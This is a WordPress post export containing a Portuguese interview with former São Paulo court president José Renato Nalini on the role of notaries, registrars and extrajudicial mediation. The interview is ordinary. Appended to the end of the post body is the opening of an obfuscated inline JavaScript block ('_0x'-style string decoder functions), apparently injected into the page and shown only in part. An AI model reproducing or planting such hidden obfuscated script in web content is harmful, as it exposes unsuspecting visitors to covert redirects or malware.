{"id":1284,"date":"2018-02-08T13:34:40","date_gmt":"2018-02-08T15:34:40","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/notarios-e-registradores-sao-os-primeiros-conselheiros-da-populacao-brasileira\/"},"modified":"2018-02-08T13:34:40","modified_gmt":"2018-02-08T15:34:40","slug":"notarios-e-registradores-sao-os-primeiros-conselheiros-da-populacao-brasileira","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/notarios-e-registradores-sao-os-primeiros-conselheiros-da-populacao-brasileira\/","title":{"rendered":"\u201cNot\u00e1rios e registradores s\u00e3o  os  primeiros conselheiros  da popula\u00e7\u00e3o brasileira\u201d"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Atual secret&aacute;rio da Educa&ccedil;&atilde;o do Estado de S&atilde;o Paulo, Jos&eacute; Renato Nalini deixou o Poder Judici&aacute;rio h&aacute; dois anos, quando se aposentou do cargo de desembargador do Tribunal de Justi&ccedil;a do Estado de S&atilde;o Paulo (TJ-SP), onde atuou como presidente da Corte (2014 a 2015) e Corregedor Geral da Justi&ccedil;a (2012 a 2013), para assumir a Secretaria da Educa&ccedil;&atilde;o, a convite do governador Geraldo Alckmin.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Desde 2016, o magistrado vem se dedicando &agrave;s quest&otilde;es do Poder Executivo, o qual define como indiscutivelmente mais dif&iacute;cil de atuar, pelo enfrentamento de situa&ccedil;&otilde;es cr&iacute;ticas e pela insufici&ecirc;ncia de recursos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em entrevista exclusiva para a Cart&oacute;rios com Voc&ecirc;, o secret&aacute;rio fala sobre o desafio de atuar na administra&ccedil;&atilde;o da Secretaria da Educa&ccedil;&atilde;o, e, com a experi&ecirc;ncia vivida em dois dos Poderes da Rep&uacute;blica &ndash; Judici&aacute;rio e Executivo &ndash; destaca como a atividade extrajudicial poderia colaborar ainda mais com a presta&ccedil;&atilde;o de servi&ccedil;o &agrave; popula&ccedil;&atilde;o e desburocratiza&ccedil;&atilde;o do Estado brasileiro.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Cart&oacute;rios e Secretaria da Educa&ccedil;&atilde;o lan&ccedil;aram o projeto &ldquo;Adote uma Escola&rdquo;. Qual a import&acirc;ncia desta iniciativa? <\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; &Eacute; da m&aacute;xima import&acirc;ncia. A Constitui&ccedil;&atilde;o da Rep&uacute;blica &eacute; muito clara ao tratar da educa&ccedil;&atilde;o. Ela erigiu a educa&ccedil;&atilde;o a um &ldquo;direito de todos&rdquo;, mas em &ldquo;dever do Estado e da fam&iacute;lia, em colabora&ccedil;&atilde;o com a sociedade&rdquo; &#8211; artigo 205. O Estado de S&atilde;o Paulo investe 30% de seu or&ccedil;amento em educa&ccedil;&atilde;o. Mesmo assim, n&atilde;o consegue atender a todas as demandas, pois elas s&atilde;o crescentes e se sofisticam. Por isso &eacute; que fam&iacute;lia e sociedade precisam ajudar a cuidar da educa&ccedil;&atilde;o. Com a participa&ccedil;&atilde;o desses autores, igualmente respons&aacute;veis pelo projeto de educar as novas gera&ccedil;&otilde;es, tudo ser&aacute; mais eficiente, eficaz e efetivo. E as delega&ccedil;&otilde;es extrajudiciais s&atilde;o institui&ccedil;&otilde;es de primorosa gest&atilde;o, n&atilde;o t&ecirc;m o er&aacute;rio por si, ent&atilde;o t&ecirc;m de se autoadministrar com seriedade, prud&ecirc;ncia e racionalidade. Podem prestar imenso aux&iacute;lio &agrave; causa educacional se assumirem afetivamente as escolas p&uacute;blicas.<\/p>\n<table border=\"0\" cellpadding=\"1\" cellspacing=\"1\" style=\"width:100%\">\n<tbody>\n<tr>\n<td><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; O senhor vivenciou durante anos a atividade na magistratura e agora encontra-se no Executivo. O que o levou a aceitar este desafio?<\/strong><\/p>\n<p style=\"text-align:justify\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; Foi a insist&ecirc;ncia do governador do Estado de S&atilde;o Paulo, que me solicitou esse sacrif&iacute;cio pessoal. Eu poderia permanecer mais cinco anos no Tribunal de Justi&ccedil;a de S&atilde;o Paulo, institui&ccedil;&atilde;o que eu respeito e amo. Ali deixei meu cora&ccedil;&atilde;o. Mas sabia que, se me recusasse, minha consci&ecirc;ncia r&iacute;gida me acusaria de negar minha modesta contribui&ccedil;&atilde;o a uma causa de extrema relev&acirc;ncia para a na&ccedil;&atilde;o. Sem d&uacute;vida, a maior e a mais importante das causas. Sem educa&ccedil;&atilde;o de qualidade, nunca chegaremos ao Brasil de nossos sonhos.<\/p>\n<\/td>\n<td><img decoding=\"async\" alt=\"\" src=\"\/ckeditor\/ckfinder\/userfiles\/images\/Sem%20t%C3%ADtulo(10).jpg\" style=\"height:300px; width:229px\" \/><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Onde &eacute; mais dif&iacute;cil atuar, no Poder Executivo ou no Poder Judici&aacute;rio?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini <\/strong>&#8211; Indiscutivelmente, no Executivo. O Poder Judici&aacute;rio &eacute; um para&iacute;so. A atua&ccedil;&atilde;o em segunda inst&acirc;ncia tende a tornar o magistrado algu&eacute;m distanciado da realidade. S&oacute; estuda teses, s&oacute; l&ecirc; argumentos, s&oacute; escreve e decide, sem o enfrentamento de uma situa&ccedil;&atilde;o cr&iacute;tica, a de insufici&ecirc;ncia de recursos, de obst&aacute;culos de toda a ordem, come&ccedil;ando pela estreiteza do pensamento jur&iacute;dico.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; surrealista a posi&ccedil;&atilde;o do Direito quando se trata da administra&ccedil;&atilde;o. Presume-se a m&aacute;-f&eacute;, a resposta &eacute; sempre negativa. N&atilde;o h&aacute; criatividade, nem flexibiliza&ccedil;&atilde;o da rigidez formal e procedimental. Em tempos de crise, &eacute; uma epopeia realizar qualquer miss&atilde;o. E o momento tamb&eacute;m n&atilde;o ajuda quem se prop&otilde;e a gerir a coisa p&uacute;blica. H&aacute; uma esp&eacute;cie de desalento geral que contamina grande parte da popula&ccedil;&atilde;o. Todo juiz deveria experimentar seu dia de administrador, para adquirir maior consequencialismo.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Como avalia o atual cen&aacute;rio jur&iacute;dico do Pa&iacute;s?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini <\/strong>&#8211; Tenho a convic&ccedil;&atilde;o de que o excesso de faculdades de Direito, a prolifera&ccedil;&atilde;o das carreiras jur&iacute;dicas, o ensino ultrapassado que prioriza a solu&ccedil;&atilde;o processual, dificultaram bastante o desenvolvimento brasileiro. A vida brasileira foi judicializada. As pessoas j&aacute; n&atilde;o se esfor&ccedil;am para obter uma composi&ccedil;&atilde;o consensual dos conflitos e preferem adentrar em ju&iacute;zo, enfrentando as vicissitudes de um sistema bastante sofisticado de Justi&ccedil;a, com quatro inst&acirc;ncias e mais de cinquenta oportunidades de reaprecia&ccedil;&atilde;o do mesmo tema, pois &eacute; ca&oacute;tica a estrutura recursal.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O Direito precisa de uma urgente revisita. Sob essa vertente, as delega&ccedil;&otilde;es extrajudiciais est&atilde;o muito &agrave; frente da Justi&ccedil;a em sentido estrito. Detectaram as muta&ccedil;&otilde;es da sociedade, anteciparam-se &agrave; 4&ordf; Revolu&ccedil;&atilde;o Industrial e cumpriram, com exatid&atilde;o, o princ&iacute;pio da efici&ecirc;ncia, inserto no artigo 37 da Constitui&ccedil;&atilde;o da Rep&uacute;blica. Deveriam merecer carga maior de atribui&ccedil;&otilde;es, pois realizam miss&otilde;es com celeridade, exatid&atilde;o e economia superior &agrave;s reservadas ao Estado, quando as exerce diretamente.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Durante seus anos &agrave; frente da Corregedoria e depois da Presid&ecirc;ncia do TJ-SP, o senhor sempre criticou o excesso de demandas no Judici&aacute;rio. Como v&ecirc; a import&acirc;ncia de que se busquem m&eacute;todos alternativos de jurisdi&ccedil;&atilde;o?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; Sempre defendi essa busca, n&atilde;o com o intuito de aliviar a carga de trabalho do Judici&aacute;rio, mas por pensar que uma democracia participativa n&atilde;o pode prescindir de uma cidadania proativa, assertiva, consciente. O indiv&iacute;duo que n&atilde;o consegue dialogar com o adverso em busca de uma solu&ccedil;&atilde;o negociada, mas precisa do equipamento judicial para resolver questi&uacute;nculas, na verdade n&atilde;o &eacute; aquele cidad&atilde;o de que a Rep&uacute;blica est&aacute; a necessitar.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Embora chamemos, eufemisticamente, a parte de &ldquo;sujeito processual&rdquo;, ela &eacute;, na verdade, &ldquo;objeto da vontade do Estado-juiz&rdquo;. A decis&atilde;o judicial incide sobre ele sem que tenha exercido a potencialidade de livre discuss&atilde;o do conflito. H&aacute; regras no processo e elas inibem o exaurimento de um debate que se torna mais prof&iacute;cuo, livre e completo, no &acirc;mbito de uma negocia&ccedil;&atilde;o, de uma concilia&ccedil;&atilde;o, media&ccedil;&atilde;o ou qualquer outra das m&uacute;ltiplas possibilidades h&aacute; muito exploradas no direito anglo-sax&atilde;o. O defeito maior da judicializa&ccedil;&atilde;o excessiva &eacute; converter a massa de jurisdicionados em pessoas tuteladas, sempre consideradas hipossuficientes, pois n&atilde;o sabem cuidar de seus pr&oacute;prios interesses sem a intermedia&ccedil;&atilde;o de profissional provido de capacidade postulat&oacute;ria. N&atilde;o treinam para ser cidad&atilde;os, pois se n&atilde;o aprendem a defender aquilo que lhes pertine diretamente, como o far&atilde;o em rela&ccedil;&atilde;o ao bem comum, ao interesse de todos?<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Dentro deste contexto, qual a import&acirc;ncia da participa&ccedil;&atilde;o de not&aacute;rios e registradores neste processo de diminui&ccedil;&atilde;o da carga do Judici&aacute;rio?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; Os not&aacute;rios e registradores s&atilde;o os primeiros conselheiros para os necessitados de orienta&ccedil;&atilde;o jur&iacute;dica. Sua miss&atilde;o &eacute; essa. Quem procura um tabeli&atilde;o para uma escritura, um testamento, para lavrar uma procura&ccedil;&atilde;o, conta as suas necessidades, relata suas d&uacute;vidas e obt&eacute;m a resposta adequada.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O registrador resolve todas as quest&otilde;es dominiais e de outros direitos reais confiados ao seu zelo para a aquisi&ccedil;&atilde;o da ambicionada seguran&ccedil;a jur&iacute;dica. Lament&aacute;vel que o meu Provimento na Corregedoria, que apenas reconhecia aquilo que a Lei j&aacute; atribui aos delegados de servi&ccedil;os extrajudiciais, tenha sido questionado no CNJ.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ao contr&aacute;rio do que a pr&oacute;pria Justi&ccedil;a prega: conciliar, negociar, mediar, obter consenso, &eacute; o que realmente pacifica a sociedade. A senten&ccedil;a pode ser at&eacute; um fator de recrudescimento na estranheza gerada pela controv&eacute;rsia. H&aacute; conflitos intermin&aacute;veis, que s&oacute; acabam quando os contendores se entendem. Isso nem sempre &#8211; ou melhor, quase nunca &#8211; ocorre no &acirc;mbito do Judici&aacute;rio.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Tamb&eacute;m em sua gest&atilde;o &agrave; frente da Corregedoria foi editado o primeiro provimento de media&ccedil;&atilde;o extrajudicial no Pa&iacute;s, que acabou suspenso pelo CNJ. Passado tanto tempo, como v&ecirc; o fato dessa quest&atilde;o ainda n&atilde;o ter tido uma solu&ccedil;&atilde;o?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; &Eacute; mais um dos paradoxos brasileiros. Situa&ccedil;&atilde;o surreal, kafkiana, irracional. Com o Brasil precisando tanto de solu&ccedil;&otilde;es harm&ocirc;nicas, com o recrudescer da cr&iacute;tica ante a lentid&atilde;o dos processos, da insufici&ecirc;ncia do aparato judicial para resolver quest&otilde;es, impede-se quem tem a miss&atilde;o de pacificar, quem possui expertise, quem &eacute; por lei obrigado a conferir a resposta jur&iacute;dica mais adequada ao problema que se lhe apresente, de cumprir com exatid&atilde;o o seu estatuto funcional.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Em sua atua&ccedil;&atilde;o como Corregedor Geral da Justi&ccedil;a, o senhor visitou cart&oacute;rios em todo o Estado de S&atilde;o Paulo. Qual foi a realidade que vivenciou nestas visitas?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; Fiquei impressionado com a dedica&ccedil;&atilde;o, o devotamento, o zelo e a compet&ecirc;ncia t&eacute;cnica de todos os respons&aacute;veis. Vi a seriedade com que a delega&ccedil;&atilde;o &eacute; conduzida. Cotejei com o funcionamento do servi&ccedil;o p&uacute;blico, onde o ac&uacute;mulo de vantagens funcionais, os direitos e o regime que vai sendo enxertado de benef&iacute;cios permitem uma vida bem mais tranquila do que a propiciada aos cartor&aacute;rios. Estes n&atilde;o t&ecirc;m por si o er&aacute;rio, n&atilde;o t&ecirc;m holerite. Se n&atilde;o trabalharem, n&atilde;o receber&atilde;o sal&aacute;rio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Causou-me admira&ccedil;&atilde;o as jovens gestantes que, &agrave; frente do seu cart&oacute;rio, n&atilde;o usufruem da licen&ccedil;a maternidade, pois t&ecirc;m de atender &agrave; clientela e, se a pequena serventia de Registro Civil n&atilde;o estiver aberta, n&atilde;o ter&atilde;o como satisfazer as suas despesas m&iacute;nimas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Admiro muito a classe, que aprendi a respeitar quando no exerc&iacute;cio da 1&ordf; Vara de Registros P&uacute;blicos e tamb&eacute;m na 2&ordf;, depois na assessoria do corregedor geral da Justi&ccedil;a, o inesquec&iacute;vel e saudoso desembargador Sylvio do Amaral, como integrante da comiss&atilde;o de concurso junto ao eminente e tamb&eacute;m saudoso desembargador Antonio Carlos Alves Braga e, finalmente, como presidente do 6&ordm; Concurso de Outorga de Delega&ccedil;&otilde;es e como corregedor geral da Justi&ccedil;a. Posso falar com certo conhecimento de causa sobre a excel&ecirc;ncia do servi&ccedil;o extrajudicial, cujo status constitucional considero a mais inteligente estrat&eacute;gia do constituinte de 1988.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; O senhor sempre defendeu a presta&ccedil;&atilde;o de servi&ccedil;os eletr&ocirc;nicos pela atividade extrajudicial. No entanto, as normas n&atilde;o permitem ou n&atilde;o acompanham a evolu&ccedil;&atilde;o da sociedade. Como conciliar esta dicotomia?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; Torno a dizer que a ci&ecirc;ncia jur&iacute;dica precisa ser repensada. Estamos imersos em plena 4&ordf; Revolu&ccedil;&atilde;o Industrial, num turbilh&atilde;o em que sequer temos condi&ccedil;&atilde;o de avaliar o grau e intensidade das muta&ccedil;&otilde;es, e o ensino jur&iacute;dico permanece o mesmo: disciplinas compartimentadas, &ecirc;nfase no processo, desconhecimento total de que a intelig&ecirc;ncia artificial poder&aacute; substituir toda a &ldquo;decoreba&rdquo; que se insiste em preservar.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; existem startups que resolvem problemas jur&iacute;dicos em segundos, com 98% de exatid&atilde;o e que podem substituir in&uacute;meras profiss&otilde;es jur&iacute;dicas. Ainda recentemente vi a iniciativa de um jovem franc&ecirc;s que criou a &ldquo;Wonderlegal&rdquo; e que j&aacute; tem clientes em nove pa&iacute;ses. Responde-se a qualquer indaga&ccedil;&atilde;o, redige-se contrato e outras pe&ccedil;as jur&iacute;dicas, sem a intermedia&ccedil;&atilde;o humana. S&oacute; intelig&ecirc;ncia artificial!<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Se os educadores n&atilde;o se conscientizarem, continuar&atilde;o a vender ilus&atilde;o aos futuros bachar&eacute;is que, ap&oacute;s cinco anos de faculdade, n&atilde;o ter&atilde;o condi&ccedil;&otilde;es de encontrar mercado de trabalho compat&iacute;vel com o tempo e os recursos investidos. Continuar&atilde;o a fazer o que j&aacute; faziam antes da faculdade, mas frustrados, decepcionados e ressentidos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; urgente mostrar que o Direito precisa reduzir o fosso em que se encontra, diante da era digital que oferece desafios como a rob&oacute;tica, a nanotecnologia, o mundo das redes, o big data, a programa&ccedil;&atilde;o, a automa&ccedil;&atilde;o, a biotecnologia, a engenharia gen&eacute;tica e tantos outros temas que v&atilde;o sugerir profiss&otilde;es para as quais sequer nomes ainda temos.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Outra defesa que o senhor sempre fazia era a de que not&aacute;rios e registradores eram em muitos munic&iacute;pios o &uacute;nico elo do cidad&atilde;o com o Estado. Acaba de ser sancionada a Lei 13.484\/2017, que permite aos cart&oacute;rios de Registro Civil prestar, mediante conv&ecirc;nio, alguns servi&ccedil;os &agrave; popula&ccedil;&atilde;o, como a emiss&atilde;o de carteiras de identidade ou de trabalho. Como v&ecirc; esta inova&ccedil;&atilde;o?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; Pode parecer cabotinismo, por&eacute;m j&aacute; sugeri isso muitas vezes. O Registro Civil das Pessoas Naturais &eacute; o detentor de informa&ccedil;&otilde;es que nele deveriam ser centralizadas como reparti&ccedil;&atilde;o estatal que funciona em car&aacute;ter privado e que, por isso mesmo, n&atilde;o tem os ran&ccedil;os e os v&iacute;cios do servi&ccedil;o p&uacute;blico. &Eacute; muito bom que, embora tarde, o Estado perceba que precisa se servir mais desses delegados respons&aacute;veis, concursados, preparados, competentes e devotados que s&atilde;o os detentores de tais atribui&ccedil;&otilde;es estatais.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Quais outras parcerias poderiam ser desenvolvidas entre as atividades judiciais e extrajudiciais brasileiras?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; Penso que todo o relacionamento da cidadania com o Estado e com outras entidades, e mesmo as rela&ccedil;&otilde;es entre as pessoas, deveriam prescindir de qualquer outra reparti&ccedil;&atilde;o ou burocracia, mas concentrar-se nos Registros Civis das Pessoas Naturais.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Toda delega&ccedil;&atilde;o deveria ser uma inst&acirc;ncia de pacifica&ccedil;&atilde;o e de obten&ccedil;&atilde;o de acordos, ajustes, consensos. Os Registros de Im&oacute;veis poderiam se encarregar de receber o IPTU, por exemplo. Tudo o que significa retrabalho, superfeta&ccedil;&atilde;o, sobrecarga de atribui&ccedil;&otilde;es, poderia ser bem exercido se entregue aos delegados de servi&ccedil;os extrajudiciais. Para ganho da popula&ccedil;&atilde;o e da efici&ecirc;ncia, t&atilde;o desprestigiada no Brasil.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; No &uacute;ltimo relat&oacute;rio Doing Business, o Brasil ficou em 128&ordm; na avalia&ccedil;&atilde;o referente ao registro de propriedades, ficando atr&aacute;s, inclusive, de pa&iacute;ses com maior custo e maior tempo para efetuar o registro. O senhor acredita que os cart&oacute;rios t&ecirc;m elementos necess&aacute;rios para melhorar a posi&ccedil;&atilde;o do Pa&iacute;s neste quesito?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini <\/strong>&#8211; Sim. E a inform&aacute;tica, a cibern&eacute;tica, a eletr&ocirc;nica, todas as tecnologias da informa&ccedil;&atilde;o e comunica&ccedil;&atilde;o, j&aacute; pioneiramente desenvolvidas pelas serventias, t&ecirc;m condi&ccedil;&otilde;es de alavancar os servi&ccedil;os e de torn&aacute;-los a cada dia melhores, mais seguros, confi&aacute;veis e eficientes.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Como avalia a atua&ccedil;&atilde;o dos servi&ccedil;os de notas e registros na concess&atilde;o de seguran&ccedil;a jur&iacute;dica &agrave;s rela&ccedil;&otilde;es econ&ocirc;micas?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini<\/strong> &#8211; &Eacute; a melhor alternativa, pois n&atilde;o encontramos disfuncionalidades nos cart&oacute;rios, a despeito do elevado n&uacute;mero de atos praticados. &Eacute; o que distingue a serventia de um servi&ccedil;o exercido por particular que n&atilde;o passa por concurso p&uacute;blico, nem &eacute; fiscalizado, controlado e orientado pelo Poder Judici&aacute;rio, como ocorre com as delega&ccedil;&otilde;es.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; CcV &ndash; Qual a import&acirc;ncia da atividade de notas e registro para a sociedade?<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Jos&eacute; Renato Nalini <\/strong>&#8211; O sistema brasileiro se notabiliza pela seguran&ccedil;a jur&iacute;dica, pelo cont&iacute;nuo aprimoramento e pela efici&ecirc;ncia. Repito: &eacute; a mais inteligente dentre as estrat&eacute;gias adotadas pelo Constituinte de 1988.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Passa &agrave; responsabilidade do particular uma obriga&ccedil;&atilde;o eminentemente estatal e, al&eacute;m de n&atilde;o contribuir com um centavo para o andamento dos servi&ccedil;os, ainda leva percentual consider&aacute;vel daquilo que o delegado percebe para praticar o ato em nome do Estado.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Detentor da seguran&ccedil;a jur&iacute;dica, da confiabilidade provinda da delega&ccedil;&atilde;o estatal ap&oacute;s concurso p&uacute;blico de provas e t&iacute;tulos, realizado pelo Poder Judici&aacute;rio, o cart&oacute;rio &eacute; uma institui&ccedil;&atilde;o que orgulha o Brasil e que tem sido cogitada para implementa&ccedil;&atilde;o em outros Pa&iacute;ses, tamanho o &ecirc;xito e acerto alcan&ccedil;ados durante sua trajet&oacute;ria, sempre ascendente e sempre surpreendente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A desenvoltura que o Estado n&atilde;o tem, a delega&ccedil;&atilde;o extrajudicial, al&eacute;m de possuir, ainda sabe dela se valer para tornar-se insubstitu&iacute;vel na Rep&uacute;blica Federativa do Brasil.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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